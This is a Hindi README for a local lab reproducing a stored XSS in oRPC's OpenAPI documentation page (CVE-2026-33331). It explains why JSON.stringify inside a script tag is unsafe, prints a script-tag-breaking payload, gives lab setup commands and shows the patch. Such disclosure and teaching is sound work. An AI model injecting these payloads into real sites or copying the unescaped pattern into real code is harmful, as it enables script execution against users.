
स्थानीय लैब जो oRPC के OpenAPI दस्तावेज़ निर्माण में संग्रहीत XSS को पुनः उत्पन्न करता है (CVE-2026-33331), तुलना के लिए कमजोर और पैच किए गए संस्करणों तथा एक स्टैंडअलोन PoC के साथ।
orpc के OpenAPI दस्तावेज़ीकरण जनरेशन में stored XSS के लिए proof-of-concept लैब
oRPC OpenAPI spec से API docs पेज बनाता है। v1.13.9 से पहले यह spec को बिना किसी HTML एन्कोडिंग के JSON.stringify() का उपयोग करके सीधे <script> टैग में डालता था। कोई भी फ़ील्ड जिसे हमलावर नियंत्रित कर सकता था, जैसे , उस टैग को जल्दी बंद कर सकता था और script चला सकता था।
info.descriptionयह रिपॉजिटरी आपको बग को दोहराने के लिए एक स्थानीय लैब देती है, साथ ही तुलना के लिए एक पैच किया गया संस्करण भी।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन) |
| उत्पाद | middleapi/orpc |
| प्रभावित | v1.13.9 से नीचे के सभी संस्करण |
| पैच किया गया | v1.13.9 |
| खोज | Abhay Kumar (@abhayclasher) |
packages/openapi/src/plugins/openapi-reference.ts में कमजोर कोड spec को इस तरह रेंडर करता है:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify() मान्य JSON उत्पन्न करता है, लेकिन यह < या > को एस्केप नहीं करता। ब्राउज़र अभी भी </script> को HTML क्लोज़िंग टैग के रूप में मानता है, भले ही वह <script type="application/json"> के अंदर हो।
info.description में एक पेलोड जो निष्पादन को ट्रिगर करता है:
"</script><script>alert('XSS')</script>"
ब्राउज़र यह देखता है:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
पहला </script> ब्लॉक को बंद कर देता है। इसके बाद की हर चीज़ इनलाइन JavaScript के रूप में चलती है।
यह तब लागू होता है जब कोई एप्लिकेशन उपयोगकर्ता-नियंत्रित इनपुट से OpenAPI specs बनाता है, जो कि ठीक वही मामला है जिसे oRPC अपने राउटर परिभाषाओं के माध्यम से सक्षम करता है।
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
सर्वर शुरू होने के बाद, इन URL पर जाएँ:
| URL | विवरण |
|---|---|
http://localhost:3000/docs | कमजोर docs पेज — XSS पेलोड लोड होने पर निष्पादित होता है |
http://localhost:3000/docs/safe | v1.13.9 पैच लागू के साथ वही पेज |
http://localhost:3000/spec.json | कच्चा OpenAPI spec JSON |
कमजोर संस्करण पेज लोड होने पर alert() फायर करेगा, जिससे script निष्पादन की पुष्टि होगी। पैच किया गया संस्करण उसी दुर्भावनापूर्ण spec को सुरक्षित रूप से रेंडर करता है — पेलोड सादे टेक्स्ट के रूप में प्रदर्शित होता है।
आप स्टैंडअलोन PoC भी चला सकते हैं:
cd poc
node exploit.js
यह पोर्ट 3000 पर एक न्यूनतम सर्वर शुरू करता है जो पूर्ण एप्लिकेशन संदर्भ के बिना उसी बग को प्रदर्शित करता है।
1. हमलावर OpenAPI spec में एक फ़ील्ड नियंत्रित करता है (जैसे description)
2. oRPC JSON.stringify(spec) के साथ docs HTML उत्पन्न करता है
3. पेलोड में </script> <script> टैग को जल्दी बंद कर देता है
4. ब्राउज़र उसके बाद की हर चीज़ को इनलाइन JavaScript के रूप में निष्पादित करता है
┌─────────────────────────────────────────────────────┐
│ 1. दुर्भावनापूर्ण spec तैयार किया गया: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc spec को HTML में एम्बेड करता है: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- टैग │
│ <script>alert('XSS')</script> <-- पेलोड │
│ "}} │
│ </script> │
│ │
│ 3. ब्राउज़र alert('XSS') निष्पादित करता है │
└─────────────────────────────────────────────────────┘
संस्करण 1.13.9 escapeJsonForHtml() पेश करता है, जो JSON को script टैग में एम्बेड करने से पहले HTML-संवेदनशील वर्णों को Unicode एस्केप से बदल देता है:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
Unicode एस्केप काम करते हैं क्योंकि वे मान्य JSON बने रहते हैं — JSON.parse() मूल स्ट्रिंग का पुनर्निर्माण करता है — लेकिन वे ब्राउज़र के पार्सर को कभी HTML जैसे नहीं दिखते।
पैच ने DOM dataset.config विशेषता से JSON पढ़ने (जो मानों में कोष्ठक होने पर टूट जाता था) से हटकर एस्केप किए गए JSON को सीधे एक इनलाइन वेरिएबल को सौंपने की ओर भी कदम बढ़ाया।
पूरा कमिट देखें: 4f0efa8
CVE-2026-33331/
├── README.md # यह फ़ाइल
├── docker-compose.yml # Docker लैब कॉन्फ़िगरेशन
├── app/
│ ├── Dockerfile # कंटेनर बिल्ड कॉन्फ़िगरेशन
│ ├── package.json # Node.js निर्भरताएँ
│ └── server.js # कमजोर + पैच किया गया docs रेंडरर
└── poc/
└── exploit.js # स्टैंडअलोन न्यूनतम proof-of-concept
Abhay Kumar द्वारा रिपोर्ट किया गया। यह रिपॉजिटरी केवल स्थानीय शैक्षिक उपयोग के लिए है। कमजोर सर्वर को सार्वजनिक नेटवर्क पर तैनात न करें।
केवल शैक्षिक उद्देश्य — पृथक वातावरण में उपयोग करें